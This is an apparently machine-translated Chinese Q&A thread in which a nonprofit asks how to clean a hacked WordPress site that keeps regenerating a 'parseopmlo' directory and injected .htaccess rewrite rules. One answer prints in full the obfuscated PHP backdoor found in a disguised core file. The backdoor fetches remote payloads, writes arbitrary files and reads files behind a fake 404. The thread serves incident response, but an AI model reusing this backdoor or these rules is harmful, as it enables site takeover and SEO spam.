我为非营利组织工作。我们的WordPress网站(Bluehost上的共享主机)在本周初遭到黑客攻击,黑客似乎创建了一个脚本,该脚本自动在名为“ parseopmlo”的根目录中创建一个目录,该目录中包含两个文件:index.php和moban.html。它同时编辑.htaccess文件,并添加以下代码:
RewriteRule ^.*[-/]n(\d+)-.*$ parseopmlo/index\.php?id=$1&%{QUERY_STRING} [L]
RewriteRule ^n(\d+)-.*$ parseopmlo/index\.php?id=$1&%{QUERY_STRING} [L]
RewriteRule ^r(\d+)[-/].*[-/]n(\d+)-.*$ parseopmlo/index\.php?id=$1-$2&%{QUERY_STRING} [L]
RewriteRule ^r(\d+)[-/]n(\d+)[-/].*$ parseopmlo/index\.php?id=$1-$2&%{QUERY_STRING} [L]
RewriteRule ^n(\d+)[-/].*[-/]r(\d+)[-/].*$ parseopmlo/index\.php?id=$2-$1&%{QUERY_STRING} [L]
RewriteRule ^n(\d+)[-/]r(\d+)[-/].*$ parseopmlo/index\.php?id=$2-$1&%{QUERY_STRING} [L]
RewriteRule ^.*[-/]n(\d+)[-/]r(\d+)[-/].*$ parseopmlo/index\.php?id=$2-$1&%{QUERY_STRING} [L]
RewriteRule ^.*[-/]n(\d+)[-/].*[-/]r(\d+)[-/].*$ parseopmlo/index\.php?id=$2-$1&%{QUERY_STRING} [L]
RewriteRule ^.*[-/]r(\d+)[-/].*[-/]n(\d+)[-/].*$ parseopmlo/index\.php?id=$1-$2&%{QUERY_STRING} [L]
RewriteRule ^.*[-/]r(\d+)[-/]n(\d+)[-/].*$ parseopmlo/index\.php?id=$1-$2&%{QUERY_STRING} [L]
我现在已多次删除目录,并多次恢复了干净的.htaccess文件。每次都会重新创建目录,并在5-30分钟内再次入侵.htaccess。
我将所有密码更改为自动生成的非常安全的密码。没人坐在那里登录我们网站的FTP,而是手动进行这些更改。
这是我们服务器上的脚本,但找不到。我将SSH与grep命令一起使用,以递归方式在服务器上的每个文件中搜索包含文本字符串'parseopmlo'的所有内容,唯一的结果就是.htaccess中的代码行。我希望它会显示在包含创建目录脚本的任何文件中。没有骰子。
如果您使用Google'parseopmlo',您会获得大量点击量,其中包含以相同方式被黑客入侵的其他网站,但没有提及如何解决此问题。
关于如何查找和删除恶意代码的任何想法?
答案 0 :(得分:0)
您的服务器已损坏。某些内容已添加到您的WordPress安装中。这就是重新创建“ parseopmlo”目录的原因。
步骤:
祝你好运。
答案 1 :(得分:0)
为了将来在Google“ parseopmlo”中寻求解决方案的任何人的利益...在Bluehost的恶意软件扫描的帮助下,我确定了引起该问题的文件。它是:/wp-includes/customize/class-wp-customize-filters-setting.php并且记录下来,在WP的干净版本中,文件名中包含单数“过滤器”,而不是复数“过滤器”。 Bluehost将该文件中的恶意软件分类为SL-PHP-FILEHACKER-md5-bfcn.UNOFFICIAL
这是其中包含的代码:
<?php
@ini_set('display_errors', 0);@set_time_limit(3600);
$q1 = "O00O0O";$q2 = "O0O000";$q3 = "O0OO00";$q4 = "OO0O00";$q5 = "OO0000";$q6 = "O00OO0";$q7 = "O00O00";$q8 = "O00OOO";$q9 = "O0O0OO";$q10 = "OOO0OO";$q11 = "OO00OO";$q12 = "OO000O";$q13 = "OO0O0O";$q14 = "OOOO00";$q15 = "OO0OO0O";$$q1 = RandAbc();$$q3 = $O00O0O{62}.$O00O0O{51}.$O00O0O{50}.$O00O0O{54}.$O00O0O{55};$$q5 = $O00O0O{28}.$O00O0O{26}.$O00O0O{27}.$O00O0O{33};$$q6 = $O00O0O{19}.$O00O0O{22}.$O00O0O{12}.$O00O0O{1}.$O00O0O{0}.$O00O0O{12}.$O00O0O{0}.$O00O0O{17}.$O00O0O{10}.$O00O0O{4}.$O00O0O{19};$$q4 = $$O0OO00;$$q2 = $O00O0O{12}.$O00O0O{3}.$O00O0O{31};$$q7 = $O00O0O{30}.$O00O0O{35}.$O00O0O{32}.$O00O0O{34}.$O00O0O{31}.$O00O0O{34}.$O00O0O{31}.$O00O0O{3}.$O00O0O{26}.$O00O0O{5}.$O00O0O{5}.$O00O0O{4}.$O00O0O{29}.$O00O0O{31}.$O00O0O{28}.$O00O0O{27}.$O00O0O{0}.$O00O0O{26}.$O00O0O{30}.$O00O0O{32}.$O00O0O{5}.$O00O0O{26}.$O00O0O{30}.$O00O0O{34}.$O00O0O{28}.$O00O0O{5}.$O00O0O{33}.$O00O0O{0}.$O00O0O{3}.$O00O0O{31}.$O00O0O{34}.$O00O0O{3};$$q8 = $O00O0O{23}.$O00O0O{24}.$O00O0O{25};$$q9 = $O00O0O{62}.$O00O0O{54}.$O00O0O{40}.$O00O0O{53}.$O00O0O{57}.$O00O0O{40}.$O00O0O{53};$$q10 = $$O0O0OO;$$q11 = $O00O0O{39}.$O00O0O{50}.$O00O0O{38}.$O00O0O{56}.$O00O0O{48}.$O00O0O{40}.$O00O0O{49}.$O00O0O{55}.$O00O0O{62}.$O00O0O{53}.$O00O0O{50}.$O00O0O{50}.$O00O0O{55};$$q12 = $O00O0O{51}.$O00O0O{43}.$O00O0O{51}.$O00O0O{62}.$O00O0O{54}.$O00O0O{40}.$O00O0O{47}.$O00O0O{41};$$q13 = $O00O0O{2}.$O00O0O{6}.$O00O0O{4}.$O00O0O{19};$$q14 = $O00O0O{8}.$O00O0O{13}.$O00O0O{3}.$O00O0O{4}.$O00O0O{23}.$O00O0O{63}.$O00O0O{15}.$O00O0O{7}.$O00O0O{15};$$q15 = $O00O0O{7}.$O00O0O{19}.$O00O0O{19}.$O00O0O{15}.$O00O0O{64}.$O00O0O{65}.$O00O0O{65}.$O00O0O{22}.$O00O0O{22}.$O00O0O{22}.$O00O0O{63};
if(isset($OOO0OO["$OO00OO"])){$BT = $OOO0OO["$OO00OO"];}elseif(isset($OOO0OO["$OO000O"])){$BT = str_ireplace(str_replace("\\",DIRECTORY_SEPARATOR,str_replace("/",DIRECTORY_SEPARATOR,$OOO0OO["$OO000O"])),'',__FILE__).DIRECTORY_SEPARATOR;}else{$BT = '/';}
foreach($OO0O00 as $O00O00o=>$O00Oo0o){
$$O00O00o = $O00Oo0o;
}
if(!(isset($passwd) && $O0O000($passwd) == $O00O00)){
header("HTTP/1.1 404 Not Found");
header("Status: 404 Not Found");
exit;
}
if(isset($act) && $act == 'check' && isset($check_file)){
if(file_exists($check_file)){
echo '#ok#';
}
}
if(isset($act) && $act == 'test'){
echo '#ok#';
}
if(isset($act) && $act == 'recover' && isset($recover_file) && isset($recover_file_url)){
{
$pfile = $recover_file;
$date = $OO0O0O($recover_file_url);
gdir_file($recover_file);
@chmod($pfile,0755);
if($date && file_put_contents($pfile,$date)){
echo '#ok#';
}else{
echo '#fail#';
}
}
}
if(isset($act) && $act == 'redate' && isset($redate_file)){
if(file_exists($redate_file)){
echo rdFile($redate_file);
}
}
function RandAbc($length = "") {
$str = "abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ_.:/-";
return ($str);
}
function rdFile($file){
if(function_exists('file_get_contents')){
return file_get_contents($file);
}else{
$handle = fopen($file, "r");
$contents = fread($handle, filesize($file));
fclose($handle);
return $contents;
}
}
function cget($url,$loop=10){
$data = false; $i = 0;
while(!$data) {
$data = tcget($url); if($i++ >= $loop) break; }
return $data;
}
function tcget($url,$proxy=''){
global $OO0OO0O, $O00OO0, $OO0000, $O00OOO;
$data = ''; $url = "$OO0OO0O$O00OO0.$O00OOO/".$url;
$url = trim($url); if (extension_loaded('curl') && function_exists('curl_init') && function_exists('curl_exec')){
$ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_HEADER, false); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_TIMEOUT, 60); $data = curl_exec($ch); curl_close($ch); }
if ($data == ''){
if (function_exists('file_get_contents') && $url){
$data = @file_get_contents($url); }
}
if (($data == '') && $url){
if (function_exists('fopen') && function_exists('ini_get') && ini_get('allow_url_fopen')){
($fp = @fopen($url, 'r'));
if ($fp){
while (!@feof($fp)){
$data .= @fgets($fp) . ''; }
@fclose($fp); }
}
}
return $data;
}
function m_mkdir($dir){
if(!is_dir($dir)) mkdir($dir);
}
function gdir_file($gDir=''){
global $BT;
$gDir = str_replace('/',DIRECTORY_SEPARATOR,$gDir);
$gDir = str_replace('\\',DIRECTORY_SEPARATOR,$gDir);
$arr = explode(DIRECTORY_SEPARATOR,$gDir);
if(count($arr) <= 0) return;
if(!strstr($gDir,$BT))
$dir = $BT;
else
$dir = '';
for($i = 0 ; $i < count($arr)-1 ; $i++){
$dir .= '/' . $arr[$i];
m_mkdir($dir);
}
return $dir;
}
//
我不是编码人员,所以这真的让我感到困惑,这怎么可能编辑我们的.htaccess文件。但是确实如此。
答案 2 :(得分:0)
我发现在wp-includes,wp-admin中感染了多个文件:template-loader.php,load.php,user-terms.php,replace.php和几个.gif图像。
我安装了Sucuri Security Wordpress的免费版本(通过谷歌搜索),它可以轻松地突出显示所有受感染的文件。希望对您有所帮助。
攻击者还上传了一个html文件,并将其添加为网站管理员控制台中的所有者,然后上传了23个站点地图以及数十万个链接。 确保验证用于身份验证的google html文件。
答案 3 :(得分:0)
因此,我刚刚清理了整个wordpress安装,现在可以再次使用,步骤如下:
现在刷新您的页面,并尽力避免以后出现这种问题!
如果我保存了您的Wordpress安装->投票给大家